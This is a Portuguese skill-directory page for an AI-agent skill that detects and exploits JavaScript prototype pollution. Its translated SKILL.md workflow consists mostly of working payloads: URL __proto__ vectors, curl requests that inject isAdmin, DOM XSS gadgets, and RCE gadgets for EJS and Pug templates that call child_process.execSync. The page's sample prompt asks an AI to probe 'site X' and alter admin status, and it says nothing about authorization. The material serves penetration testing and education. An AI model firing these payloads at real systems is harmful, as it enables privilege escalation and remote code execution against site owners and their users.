exploiting-prototype-pollution-in-javascript
Ajuda seu agente a detectar e explorar vulnerabilidades de poluição de protótipo JavaScript.
O que ela faz
Essa ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'Prototype Pollution' em aplicações web escritas em JavaScript. Essa falha pode permitir que um invasor execute códigos maliciosos ou ganhe acesso indevido.
Quando usar
- ✓Ao testar a segurança de sites e aplicações web feitos com JavaScript.
- ✓Ao verificar se uma API que recebe dados complexos pode ser manipulada.
- ✓Ao procurar por falhas que permitam roubar informações ou executar comandos no servidor.
Exemplo do que pedir para a IA
“Verifique se o site X é vulnerável a Prototype Pollution e se é possível alterar o status de administrador de um usuário.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta injetar informações em partes internas do JavaScript da aplicação. Se conseguir, pode modificar o comportamento do sistema para obter acesso ou executar comandos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascriptOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-prototype-pollution-in-javascript/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Poluição de Protótipo em JavaScript
Quando Usar
- Ao testar aplicações web Node.js ou com muito JavaScript
- Durante a avaliação de APIs que aceitam objetos JSON com merge profundo (deep-merged)
- Ao testar frameworks JavaScript do lado do cliente para DOM XSS via poluição de protótipo
- Durante a revisão de código de operações de merge/clone/extend de objetos
- Ao avaliar pacotes npm em busca de "gadgets" de poluição de protótipo
Pré-requisitos
- Burp Suite com a extensão DOM Invader para detecção de poluição de protótipo do lado do cliente
- Ambiente de desenvolvimento Node.js para testes do lado do servidor
- Compreensão da cadeia de protótipos do JavaScript e herança de objetos
- Conhecimento de "gadgets" comuns de poluição (fontes, sumidouros e propriedades exploráveis)
- Extensão Burp "Prototype Pollution Gadgets Scanner" para detecção do lado do servidor
- Console do desenvolvedor do navegador para manipulação de protótipos do lado do cliente
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1 — Identificar Fontes de Poluição de Protótipo
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
Passo 2 — Testar Poluição de Protótipo do Lado do Servidor
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# Test via constructor.prototype
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed
# JSON content type pollution
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
Passo 3 — Explorar o Lado do Cliente para DOM XSS
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
Passo 4 — Explorar o Lado do Servidor para RCE
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS template engine gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars template gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug template engine gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
…
Perguntas frequentes
O que é 'Prototype Pollution'?
É uma falha onde um invasor consegue modificar propriedades de objetos base no JavaScript, o que pode afetar todos os objetos da aplicação.
Quais são os riscos?
Os riscos incluem roubo de dados (XSS), execução de comandos no servidor (RCE) e acesso não autorizado a contas.
Preciso ser um programador experiente para usar?
É recomendado ter um conhecimento básico de como o JavaScript funciona e como as aplicações web se comunicam, mas a ferramenta tenta simplificar o processo.
Detalhes
Descrição original do autor
Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5756
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC